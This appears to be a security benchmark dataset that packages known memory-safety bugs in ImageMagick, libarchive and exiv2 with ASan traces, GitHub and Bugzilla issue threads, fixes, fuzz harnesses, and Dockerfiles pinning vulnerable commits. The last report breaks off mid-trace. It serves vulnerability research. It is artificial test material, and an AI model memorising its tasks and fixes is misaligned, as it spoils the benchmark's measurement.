Indirect leak of 4108 byte(s) in 1 object(s) allocated from:
#0 0x4b9ad3 in malloc (/usr/local/bin/magick+0x4b9ad3)
#1 0x7ff9bd318784 in AcquireString /home/ubuntu/ImageMagick/MagickCore/string.c:137:24
#2 0x7ff9bd120199 in GetMontageInfo /home/ubuntu/ImageMagick/MagickCore/montage.c:226:26
#3 0x7ff9bd11fb90 in CloneMontageInfo /home/ubuntu/ImageMagick/MagickCore/montage.c:111:3
#4 0x7ff9bc8448b6 in MontageImageCommand /home/ubuntu/ImageMagick/MagickWand/montage.c:353:16
#5 0x7ff9bc7cd1c2 in MagickCommandGenesis /home/ubuntu/ImageMagick/MagickWand/mogrify.c:183:14
#6 0x4e4ce7 in MagickMain /home/ubuntu/ImageMagick/utilities/magick.c:149:10
#7 0x4e4ce7 in main /home/ubuntu/ImageMagick/utilities/magick.c:180
#8 0x7ff9ba34df44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287
SUMMARY: AddressSanitizer: 8820 byte(s) leaked in 2 allocation(s).
[poc.zip](https://github.com/ImageMagick/ImageMagick/files/1574351/poc.zip)
Comments:
Comment by urban-warrior on 2017-12-20 16:45:59+00:00:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment by littleputa on 2017-12-21 00:41:57+00:00:
credit: nsfocus security team.
---
Comment by littleputa on 2018-01-08 00:54:34+00:00:
CVE-2017-18022
Attachments:
https://github.com/ImageMagick/ImageMagick/files/1574351/poc.zip
|
[
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n uint16_t Width;\n uint16_t Height;\n if (Size < (sizeof(Width) + sizeof(Height))) {\n return 0;\n }\n Width = *reinterpret_cast<const uint16_t *>(Data);\n Height = *reinterpret_cast<const uint16_t *>(Data + sizeof(Width));\n const Magick::Blob blob(Data + sizeof(Width) + sizeof(Height),\n Size - (sizeof(Width) + sizeof(Height)));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.crop(Magick::Geometry(Width, Height));\n return 0;\n}\n",
"filename": "crop_fuzzer.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\n#define FUZZ_ENCODER_STRING_LITERAL(name) #name\n#define FUZZ_ENCODER FUZZ_ENCODER_STRING_LITERAL(FUZZ_IMAGEMAGICK_ENCODER)\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n\n Magick::Blob outBlob;\n try {\n image.write(&outBlob, FUZZ_ENCODER);\n } catch (Magick::Exception &e) {\n }\n return 0;\n}\n",
"filename": "encoder_fuzzer.cc"
},
{
"content": "#include <iostream>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int main() {\n size_t nFormats;\n Magick::ExceptionInfo ex;\n const Magick::MagickInfo **formats = GetMagickInfoList(\"*\", &nFormats, &ex);\n\n for (size_t i = 0; i < nFormats; i++) {\n const Magick::MagickInfo *format = formats[i];\n if (format->encoder && format->name) {\n std::cout << format->name << std::endl;\n }\n }\n}\n",
"filename": "encoder_list.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n image.enhance();\n } catch (Magick::Exception &e) {\n return 0;\n }\n return 0;\n}\n",
"filename": "enhance_fuzzer.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n const Magick::Blob blob(Data, Size);\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n Magick::ExceptionInfo ex;\n auto res = HuffmanDecodeImage(image.image(), &ex);\n return 0;\n}\n",
"filename": "huffman_decode_fuzzer.cc"
},
{
"content": "#include <cstdint>\n\n#include <Magick++/Blob.h>\n#include <Magick++/Image.h>\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {\n if (Size < sizeof(double)) {\n return 0;\n }\n double Degrees = *reinterpret_cast<const double *>(Data);\n if (!isfinite(Degrees)) {\n return 0;\n }\n const Magick::Blob blob(Data + sizeof(Degrees), Size - sizeof(Degrees));\n Magick::Image image;\n try {\n image.read(blob);\n } catch (Magick::Exception &e) {\n return 0;\n }\n image.rotate(Degrees);\n return 0;\n}\n",
"filename": "rotate_fuzzer.cc"
}
] |
[
{
"sha": "8cf0676455929a067257400e8020dea6ca94c1a4",
"url": "https://github.com/ImageMagick/ImageMagick/commit/8cf0676455929a067257400e8020dea6ca94c1a4"
},
{
"sha": "e7649e96a7730dd116afb629b372c5772be0b900",
"url": "https://github.com/ImageMagick/ImageMagick/commit/e7649e96a7730dd116afb629b372c5772be0b900"
}
] |
libarchive.cve-2024-57970
|
libarchive/libarchive
|
b439d586f53911c84be5e380445a8a259e19114c
| 2024-10-13T03:09:33
|
libarchive
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf libtool pkg-config libbz2-dev liblzo2-dev liblzma-dev liblz4-dev libz-dev libssl-dev libacl1-dev libattr1-dev lrzip liblzo2-dev liblz4-tool lzop zstd lcab genisoimage jlha-utils rar default-jdk sharutils
RUN git clone https://github.com/libarchive/libarchive libarchive
RUN git -C libarchive checkout b439d586f53911c84be5e380445a8a259e19114c
WORKDIR $SRC/libarchive
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
cd $SRC/libarchive
mkdir -p build2
cd build2
cmake -DDONT_FAIL_ON_CRC_ERROR=ON -DENABLE_WERROR=OFF ../
make -j$(nproc)
mkdir -p ./uudecoded
|
/src/libarchive
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/libarchive/libarchive/issues/2415
## Description:
Issue: libarchive/libarchive#2415
Title: bsdtar AddressSanitizer: heap-buffer-overflow
State: closed
Created by: gbdngb12
Created at: 2024-11-24 08:54:48+00:00
Issue Body:
```bash
$ git rev-parse HEAD
e37d3781862573b79a76fec9dc374417e50a33c4
```
Add address Sanitizer `CMakeLists.txt`,`tar/CMakeLists.txt`
```txt
# relaxed somewhat in final shipping versions.
IF (CMAKE_C_COMPILER_ID MATCHES "^GNU$" OR
CMAKE_C_COMPILER_ID MATCHES "^Clang$" AND NOT MSVC)
SET(CMAKE_REQUIRED_FLAGS "-Wall -Wformat -Wformat-security -fsanitize=address")
...
```
```txt
...
# Add sanitizer option
TARGET_COMPILE_OPTIONS(bsdtar PRIVATE -fsanitize=address)
TARGET_LINK_OPTIONS(bsdtar PRIVATE -fsanitize=address)
...
```
# Build
```
$ cmake -S . -B linux_build
$ cd linux_build
$ make -j `nproc`
```
# extract tar using bsdtar
```bash
$ ./bin/bsdtar -xvf ./heap_of.tar
=================================================================
==25253==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61a000000b13 at pc 0x7eb518cd5aa7 bp 0x7fffe21a4150 sp 0x7fffe21a38f8
READ of size 1172 at 0x61a000000b13 thread T0
#0 0x7eb518cd5aa6 in __interceptor_strlen ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:389
#1 0x56e474ef680a in archive_mstring_copy_mbs /root/libarchive/libarchive/archive_string.c:4096
#2 0x56e474e9f33e in archive_entry_set_link /root/libarchive/libarchive/archive_entry.c:1172
#3 0x56e474ee0bff in header_gnu_longlink /root/libarchive/libarchive/archive_read_support_format_tar.c:1149
#4 0x56e474ee0167 in tar_read_header /root/libarchive/libarchive/archive_read_support_format_tar.c:829
#5 0x56e474edf7e8 in archive_read_format_tar_read_header /root/libarchive/libarchive/archive_read_support_format_tar.c:546
#6 0x56e474ea6aff in _archive_read_next_header2 /root/libarchive/libarchive/archive_read.c:646
#7 0x56e474ea6bed in _archive_read_next_header /root/libarchive/libarchive/archive_read.c:684
#8 0x56e474ef7e8c in archive_read_next_header /root/libarchive/libarchive/archive_virtual.c:148
#9 0x56e474e8ef4a in read_archive /root/libarchive/tar/read.c:241
#10 0x56e474e8e100 in tar_mode_x /root/libarchive/tar/read.c:93
#11 0x56e474e8b341 in main /root/libarchive/tar/bsdtar.c:993
#12 0x7eb518a98d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
#13 0x7eb518a98e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f)
#14 0x56e474e85764 in _start (/root/libarchive/linux_build/bin/bsdtar+0x10764)
0x61a000000b13 is located 0 bytes to the right of 1171-byte region [0x61a000000680,0x61a000000b13)
allocated by thread T0 here:
#0 0x7eb518d4cc38 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:164
#1 0x56e474eeee94 in archive_string_ensure /root/libarchive/libarchive/archive_string.c:316
#2 0x56e474ee0e41 in read_bytes_to_string /root/libarchive/libarchive/archive_read_support_format_tar.c:1225
#3 0x56e474ee1016 in read_body_to_string /root/libarchive/libarchive/archive_read_support_format_tar.c:1277
#4 0x56e474ee0be9 in header_gnu_longlink /root/libarchive/libarchive/archive_read_support_format_tar.c:1148
#5 0x56e474ee0167 in tar_read_header /root/libarchive/libarchive/archive_read_support_format_tar.c:829
#6 0x56e474edf7e8 in archive_read_format_tar_read_header /root/libarchive/libarchive/archive_read_support_format_tar.c:546
#7 0x56e474ea6aff in _archive_read_next_header2 /root/libarchive/libarchive/archive_read.c:646
#8 0x56e474ea6bed in _archive_read_next_header /root/libarchive/libarchive/archive_read.c:684
#9 0x56e474ef7e8c in archive_read_next_header /root/libarchive/libarchive/archive_virtual.c:148
#10 0x56e474e8ef4a in read_archive /root/libarchive/tar/read.c:241
#11 0x56e474e8e100 in tar_mode_x /root/libarchive/tar/read.c:93
#12 0x56e474e8b341 in main /root/libarchive/tar/bsdtar.c:993
#13 0x7eb518a98d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:389 in __interceptor_strlen
Shadow bytes around the buggy address:
0x0c347fff8110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff8120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff8130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff8140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c347fff8150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c347fff8160: 00 00[03]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff8180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff8190: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff81a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c347fff81b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==25253==ABORTING
```
[heap_of.zip](https://github.com/user-attachments/files/17892588/heap_of.zip)
Comments:
Comment by kientzle on 2024-11-24 17:48:03+00:00:
Thank you! It looks like `header_gnu_longlink` is missing an error check. Please try this patch and let me know if it fixes this for you:
```
diff --git a/libarchive/archive_read_support_format_tar.c b/libarchive/archive_read_support_format_tar.c
index 14c15734..1fc4764c 100644
--- a/libarchive/archive_read_support_format_tar.c
+++ b/libarchive/archive_read_support_format_tar.c
@@ -1146,6 +1146,9 @@ header_gnu_longlink(struct archive_read *a, struct tar *tar,
struct archive_string linkpath;
archive_string_init(&linkpath);
err = read_body_to_string(a, tar, &linkpath, h, unconsumed);
+ if (err != ARCHIVE_OK) {
+ return (ARCHIVE_FATAL);
+ }
archive_entry_set_link(entry, linkpath.s);
archive_string_free(&linkpath);
return (err);
```
---
Comment by gbdngb12 on 2024-12-02 09:50:17+00:00:
```bash
$ grep -A 20 -B 5 'header_gnu_longlink' ./libarchive/archive_read_support_format_tar.c
struct archive_entry *, const void *);
static int header_pax_extension(struct archive_read *, struct tar *,
struct archive_entry *, const void *, size_t *);
static int header_pax_global(struct archive_read *, struct tar *,
struct archive_entry *, const void *h, size_t *);
static int header_gnu_longlink(struct archive_read *, struct tar *,
struct archive_entry *, const void *h, size_t *);
static int header_gnu_longname(struct archive_read *, struct tar *,
struct archive_entry *, const void *h, size_t *);
static int is_mac_metadata_entry(struct archive_entry *entry);
static int read_mac_metadata_blob(struct archive_read *,
struct archive_entry *, size_t *);
static int header_volume(struct archive_read *, struct tar *,
struct archive_entry *, const void *h, size_t *);
static int header_ustar(struct archive_read *, struct tar *,
struct archive_entry *, const void *h);
static int header_gnutar(struct archive_read *, struct tar *,
struct archive_entry *, const void *h, size_t *);
static int archive_read_format_tar_bid(struct archive_read *, int);
static int archive_read_format_tar_options(struct archive_read *,
const char *, const char *);
static int archive_read_format_tar_cleanup(struct archive_read *);
static int archive_read_format_tar_read_data(struct archive_read *a,
const void **buff, size_t *size, int64_t *offset);
static int archive_read_format_tar_skip(struct archive_read *a);
static int archive_read_format_tar_read_header(struct archive_read *,
--
case 'K': /* Long link name (GNU tar, others) */
if (seen_headers & seen_K_header) {
return (ARCHIVE_FATAL);
}
seen_headers |= seen_K_header;
err2 = header_gnu_longlink(a, tar, entry, h, unconsumed);
break;
case 'L': /* Long filename (GNU tar, others) */
if (seen_headers & seen_L_header) {
return (ARCHIVE_FATAL);
}
seen_headers |= seen_L_header;
err2 = header_gnu_longname(a, tar, entry, h, unconsumed);
break;
case 'V': /* GNU volume header */
if (seen_headers & seen_V_header) {
return (ARCHIVE_FATAL);
}
seen_headers |= seen_V_header;
err2 = header_volume(a, tar, entry, h, unconsumed);
break;
case 'X': /* Used by SUN tar; same as 'x'. */
if (seen_headers & seen_x_header) {
return (ARCHIVE_FATAL);
}
seen_headers |= seen_x_header;
--
/*
* Interpret 'K' long linkname header.
*/
static int
header_gnu_longlink(struct archive_read *a, struct tar *tar,
struct archive_entry *entry, const void *h, size_t *unconsumed)
{
int err;
struct archive_string linkpath;
archive_string_init(&linkpath);
err = read_body_to_string(a, tar, &linkpath, h, unconsumed);
if (err != ARCHIVE_OK) {
return (ARCHIVE_FATAL);
}
archive_entry_set_link(entry, linkpath.s);
archive_string_free(&linkpath);
return (err);
}
```
```bash
$ make -j `nproc`
$ ./bin/bsdtar -xvf ./heap_of.tar
bsdtar: Truncated archive detected while reading metadata
bsdtar: Error exit delayed from previous errors.
=================================================================
==2817==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 1171 byte(s) in 1 object(s) allocated from:
#0 0x7cf83590fc38 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:164
#1 0x5d288d0a9ea1 in archive_string_ensure /root/libarchive/libarchive/archive_string.c:316
#2 0x5d288d09be4e in read_bytes_to_string /root/libarchive/libarchive/archive_read_support_format_tar.c:1228
#3 0x5d288d09c023 in read_body_to_string /root/libarchive/libarchive/archive_read_support_format_tar.c:1280
#4 0x5d288d09bbe9 in header_gnu_longlink /root/libarchive/libarchive/archive_read_support_format_tar.c:1148
#5 0x5d288d09b167 in tar_read_header /root/libarchive/libarchive/archive_read_support_format_tar.c:829
#6 0x5d288d09a7e8 in archive_read_format_tar_read_header /root/libarchive/libarchive/archive_read_support_format_tar.c:546
#7 0x5d288d061aff in _archive_read_next_header2 /root/libarchive/libarchive/archive_read.c:646
#8 0x5d288d061bed in _archive_read_next_header /root/libarchive/libarchive/archive_read.c:684
#9 0x5d288d0b2e99 in archive_read_next_header /root/libarchive/libarchive/archive_virtual.c:148
#10 0x5d288d049f4a in read_archive /root/libarchive/tar/read.c:241
#11 0x5d288d049100 in tar_mode_x /root/libarchive/tar/read.c:93
#12 0x5d288d046341 in main /root/libarchive/tar/bsdtar.c:993
#13 0x7cf83565bd8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
SUMMARY: AddressSanitizer: 1171 byte(s) leaked in 1 allocation(s).
```
I applied the patch and tested it, but... could this be a sanitizer issue?
---
Comment by kientzle on 2024-12-03 22:07:26+00:00:
Ouch. I forgot to release the string in the error path. Please try this version:
```
diff --git a/libarchive/archive_read_support_format_tar.c b/libarchive/archive_read_support_format_tar.c
index 14c15734..1fc4764c 100644
--- a/libarchive/archive_read_support_format_tar.c
+++ b/libarchive/archive_read_support_format_tar.c
@@ -1146,6 +1146,9 @@ header_gnu_longlink(struct archive_read *a, struct tar *tar,
struct archive_string linkpath;
archive_string_init(&linkpath);
err = read_body_to_string(a, tar, &linkpath, h, unconsumed);
+ if (err != ARCHIVE_OK) {
+ archive_string_free(&linkpath);
+ return (ARCHIVE_FATAL);
+ }
archive_entry_set_link(entry, linkpath.s);
archive_string_free(&linkpath);
return (err);
```
---
Comment by gbdngb12 on 2024-12-03 23:15:09+00:00:
```bash
$ grep -A 20 -B 5 'header_gnu_longlink' ./libarchive/archive_read_support_format_tar.c
struct archive_entry *, const void *);
static int header_pax_extension(struct archive_read *, struct tar *,
struct archive_entry *, const void *, size_t *);
static int header_pax_global(struct archive_read *, struct tar *,
struct archive_entry *, const void *h, size_t *);
static int header_gnu_longlink(struct archive_read *, struct tar *,
struct archive_entry *, const void *h, size_t *);
static int header_gnu_longname(struct archive_read *, struct tar *,
struct archive_entry *, const void *h, size_t *);
static int is_mac_metadata_entry(struct archive_entry *entry);
static int read_mac_metadata_blob(struct archive_read *,
struct archive_entry *, size_t *);
static int header_volume(struct archive_read *, struct tar *,
struct archive_entry *, const void *h, size_t *);
static int header_ustar(struct archive_read *, struct tar *,
struct archive_entry *, const void *h);
static int header_gnutar(struct archive_read *, struct tar *,
struct archive_entry *, const void *h, size_t *);
static int archive_read_format_tar_bid(struct archive_read *, int);
static int archive_read_format_tar_options(struct archive_read *,
const char *, const char *);
static int archive_read_format_tar_cleanup(struct archive_read *);
static int archive_read_format_tar_read_data(struct archive_read *a,
const void **buff, size_t *size, int64_t *offset);
static int archive_read_format_tar_skip(struct archive_read *a);
static int archive_read_format_tar_read_header(struct archive_read *,
--
case 'K': /* Long link name (GNU tar, others) */
if (seen_headers & seen_K_header) {
return (ARCHIVE_FATAL);
}
seen_headers |= seen_K_header;
err2 = header_gnu_longlink(a, tar, entry, h, unconsumed);
break;
case 'L': /* Long filename (GNU tar, others) */
if (seen_headers & seen_L_header) {
return (ARCHIVE_FATAL);
}
seen_headers |= seen_L_header;
err2 = header_gnu_longname(a, tar, entry, h, unconsumed);
break;
case 'V': /* GNU volume header */
if (seen_headers & seen_V_header) {
return (ARCHIVE_FATAL);
}
seen_headers |= seen_V_header;
err2 = header_volume(a, tar, entry, h, unconsumed);
break;
case 'X': /* Used by SUN tar; same as 'x'. */
if (seen_headers & seen_x_header) {
return (ARCHIVE_FATAL);
}
seen_headers |= seen_x_header;
--
/*
* Interpret 'K' long linkname header.
*/
static int
header_gnu_longlink(struct archive_read *a, struct tar *tar,
struct archive_entry *entry, const void *h, size_t *unconsumed)
{
int err;
struct archive_string linkpath;
archive_string_init(&linkpath);
err = read_body_to_string(a, tar, &linkpath, h, unconsumed);
if (err != ARCHIVE_OK) {
archive_string_free(&linkpath);
return (ARCHIVE_FATAL);
}
archive_entry_set_link(entry, linkpath.s);
archive_string_free(&linkpath);
return (err);
}
```
```bash
$ make -j `nproc`
$ ./bin/bsdtar -xvf ./heap_of.tar
bsdtar: Truncated archive detected while reading metadata
bsdtar: Error exit delayed from previous errors.
```
It seems to be working well.
---
Comment by kientzle on 2024-12-04 18:44:05+00:00:
PR #2422 has a slightly simpler version of this fix. Thank you so much for reporting this and helping to test the fix!
---
Comment by kientzle on 2024-12-10 05:10:53+00:00:
Fix merged. Please let us know if you find any other problems.
---
Comment by theta682 on 2025-02-20 22:31:23+00:00:
https://nvd.nist.gov/vuln/detail/CVE-2024-57970 has been assigned to this issue. Can we have an official release with the fix?
---
Comment by ljavorsk on 2025-02-25 14:24:42+00:00:
Hi, I'm fixing this in Fedora/CentOS Stream distributions, and we have a version of `3.5.3` in CentOS Stream 9.
From the codebase [1], I believe this issue was never present as there are the `if` checks for the `err`. Can anyone please verify my statement?
[1] https://github.com/libarchive/libarchive/blob/v3.5.3/libarchive/archive_read_support_format_tar.c#L1063
PS: When I tried to reproduce this bug in the released version `3.7.7` that doesn't include the fix introduced by #2422 , the `bsdtar` failed with the exact same output as the version built from `master` where this fix is already included.
Not sure how to interpret this.
---
Comment by samueloph on 2025-02-26 14:10:43+00:00:
@ljavorsk FWIW [Debian](https://security-tracker.debian.org/tracker/CVE-2024-57970) pointed https://github.com/libarchive/libarchive/commit/2d8a5760c5ec553283a95a1aaca746f6eb472d0f#diff-dc0935b631736ce1d3ad08da0faa4b9466d60027ea2ce0a6cd38ac7965a66eb6R1149 (v3.7.5) as the commit introducing the vulnerability.
---
Comment by ljavorsk on 2025-02-26 14:18:58+00:00:
@samueloph I agree with this commit being the one that introduced it, which makes any older version than 3.7.5 not affected. However, the NVD states [1] that every version same or lower than 3.7.7 (by the use of words `libarchive through 3.7.7...`) is affected which makes it a bit chaotic.
[1] https://nvd.nist.gov/vuln/detail/CVE-2024-57970
Attachments:
https://github.com/user-attachments/files/17892588/heap_of.zip
Commit References:
dc0935b631736ce1d3ad08da0faa4b9466d60027
e37d3781862573b79a76fec9dc374417e50a33c4
2d8a5760c5ec553283a95a1aaca746f6eb472d0f
|
[
{
"content": "// Copyright 2016 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n//\n////////////////////////////////////////////////////////////////////////////////\n#include <stddef.h>\n#include <stdint.h>\n#include <vector>\n\n#include \"archive.h\"\n#include \"archive_entry.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *buf, size_t len) {\n struct archive *a = archive_read_new();\n\n archive_read_support_filter_all(a);\n archive_read_support_format_all(a);\n archive_read_support_format_empty(a);\n archive_read_support_format_raw(a);\n archive_read_support_format_gnutar(a);\n\n if (ARCHIVE_OK != archive_read_set_options(a, \"zip:ignorecrc32,tar:read_concatenated_archives,tar:mac-ext\")) {\n return 0;\n }\n\n archive_read_add_passphrase(a, \"secret\");\n\n if (ARCHIVE_OK != archive_read_open_memory(a, buf, len)) {\n archive_read_free(a);\n return 0;\n }\n\n while(1) {\n std::vector<uint8_t> data_buffer(getpagesize(), 0);\n struct archive_entry *entry;\n int ret = archive_read_next_header(a, &entry);\n if (ret == ARCHIVE_EOF || ret == ARCHIVE_FATAL)\n break;\n if (ret == ARCHIVE_RETRY)\n continue;\n\n (void)archive_entry_pathname(entry);\n (void)archive_entry_pathname_utf8(entry);\n (void)archive_entry_pathname_w(entry);\n\n (void)archive_entry_atime(entry);\n (void)archive_entry_birthtime(entry);\n (void)archive_entry_ctime(entry);\n (void)archive_entry_dev(entry);\n (void)archive_entry_digest(entry, ARCHIVE_ENTRY_DIGEST_SHA1);\n (void)archive_entry_filetype(entry);\n (void)archive_entry_gid(entry);\n (void)archive_entry_is_data_encrypted(entry);\n (void)archive_entry_is_encrypted(entry);\n (void)archive_entry_is_metadata_encrypted(entry);\n (void)archive_entry_mode(entry);\n (void)archive_entry_mtime(entry);\n (void)archive_entry_size(entry);\n (void)archive_entry_uid(entry);\n\n ssize_t r;\n while ((r = archive_read_data(a, data_buffer.data(),\n data_buffer.size())) > 0)\n ;\n if (r == ARCHIVE_FATAL)\n break;\n }\n\n archive_read_has_encrypted_entries(a);\n archive_read_format_capabilities(a);\n archive_file_count(a);\n archive_seek_data(a, 0, SEEK_SET);\n\n archive_read_free(a);\n return 0;\n}\n",
"filename": "libarchive_fuzzer.cc"
}
] |
[
{
"sha": "e37d3781862573b79a76fec9dc374417e50a33c4",
"url": "https://github.com/libarchive/libarchive/commit/e37d3781862573b79a76fec9dc374417e50a33c4"
},
{
"sha": "2d8a5760c5ec553283a95a1aaca746f6eb472d0f",
"url": "https://github.com/libarchive/libarchive/commit/2d8a5760c5ec553283a95a1aaca746f6eb472d0f"
},
{
"sha": "ca233156bfecef7fe713fe7bb86decfda728e364",
"url": "https://github.com/libarchive/libarchive/commit/ca233156bfecef7fe713fe7bb86decfda728e364"
},
{
"sha": "82912103214506316bd9990d73f33d743d55f570",
"url": "https://github.com/libarchive/libarchive/commit/82912103214506316bd9990d73f33d743d55f570"
},
{
"sha": "2b392cd879bc44b6504819c1ecb013ca9e838fee",
"url": "https://github.com/mmatuska/libarchive/commit/2b392cd879bc44b6504819c1ecb013ca9e838fee"
},
{
"sha": "e0362b7f1a51b6c59ea06257a8f41e6ae3c7000f",
"url": "https://github.com/mmatuska/libarchive/commit/e0362b7f1a51b6c59ea06257a8f41e6ae3c7000f"
},
{
"sha": "f2de495ab495e45a3316284cb0984c30a2744232",
"url": "https://github.com/libarchive/libarchive/commit/f2de495ab495e45a3316284cb0984c30a2744232"
},
{
"sha": "d91f726ccc957e1b8ed9e18fb2cf6d3e783ab847",
"url": "https://github.com/libarchive/libarchive/commit/d91f726ccc957e1b8ed9e18fb2cf6d3e783ab847"
},
{
"sha": "f3a3a33c26640bfdae37a78506210a3539da04fa",
"url": "https://github.com/libarchive/libarchive/commit/f3a3a33c26640bfdae37a78506210a3539da04fa"
},
{
"sha": "20e00edea9b1c80d58b0eae52f2996374d48652b",
"url": "https://github.com/libarchive/libarchive/commit/20e00edea9b1c80d58b0eae52f2996374d48652b"
},
{
"sha": "293687358e2c52213a3f077bb3d8f860ea5bfda9",
"url": "https://github.com/libarchive/libarchive/commit/293687358e2c52213a3f077bb3d8f860ea5bfda9"
},
{
"sha": "4c5fa9539cd34635c8f832fab524ca954354e2ec",
"url": "https://github.com/libarchive/libarchive/commit/4c5fa9539cd34635c8f832fab524ca954354e2ec"
},
{
"sha": "92c8cd9404459604379f30a5b7587755a499d52a",
"url": "https://github.com/libarchive/libarchive/commit/92c8cd9404459604379f30a5b7587755a499d52a"
},
{
"sha": "dc0935b631736ce1d3ad08da0faa4b9466d60027",
"url": "https://github.com/libarchive/libarchive/commit/dc0935b631736ce1d3ad08da0faa4b9466d60027"
}
] |
exiv2.cve-2017-17724
|
exiv2/exiv2
|
fa449a4d2c58d63f0d75ff259f25683a98a44630
| 2017-04-26T14:16:21
|
exiv2
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y cmake make ccache python3 libexpat1-dev zlib1g-dev libssh-dev libcurl4-openssl-dev libxml2-utils
RUN git clone https://github.com/exiv2/exiv2 exiv2
RUN git -C exiv2 checkout fa449a4d2c58d63f0d75ff259f25683a98a44630
WORKDIR $SRC/exiv2
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
mkdir -p build
cd build
cmake -DEXIV2_ENABLE_PNG=ON -DEXIV2_ENABLE_WEBREADY=ON -DEXIV2_ENABLE_CURL=OFF -DEXIV2_ENABLE_BMFF=ON -DEXIV2_TEAM_WARNINGS_AS_ERRORS=ON -DBUILD_SHARED_LIBS=OFF -DCMAKE_CXX_COMPILER="${CXX}" -DCMAKE_CXX_FLAGS="${CXXFLAGS}" -DEXIV2_BUILD_FUZZ_TESTS=ON -DEXIV2_TEAM_OSS_FUZZ=ON -DLIB_FUZZING_ENGINE="${LIB_FUZZING_ENGINE}" ..
make -j $(nproc)
|
/src/exiv2
|
address
|
================= Bug Report (1/2) ==================
## Source: Red Hat Bugzilla
## URL: https://bugzilla.redhat.com/show_bug.cgi?id=1524107
## Description:
Bugzilla ID: 1524107
Title: exiv2 library: heap-based buffer over-read in Exiv2::IptcData::printStructure (iptc.cpp)
Description
Wei You 2017-12-10 06:21:33 UTC
Created attachment 1365483 [details]
poc to trigger the vulnerability
on 0.26 (the latest version):
there is a heap-based buffer over-read in the Exiv2::IptcData::printStructure function (src/iptc.cpp), which can be triggered by poc_1.tiff in the
attachment.
Note that this vulnerability exists in the exiv2 library, any software using
exiv2 will be affected by this vulnerability. Remote attackers can exploit
this vulnerability to cause a denial of service via a crafted tiff file.
As a demonstration, please run the following command-line to trigger this
vulnerability:
./0.26/bin/exiv2 poc_1.tiff
=================================================================
==12019==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000ed71 at pc 0x00000063908e bp 0x7ffe694d4400 sp 0x7ffe694d43f0
READ of size 1 at 0x60200000ed71 thread T0
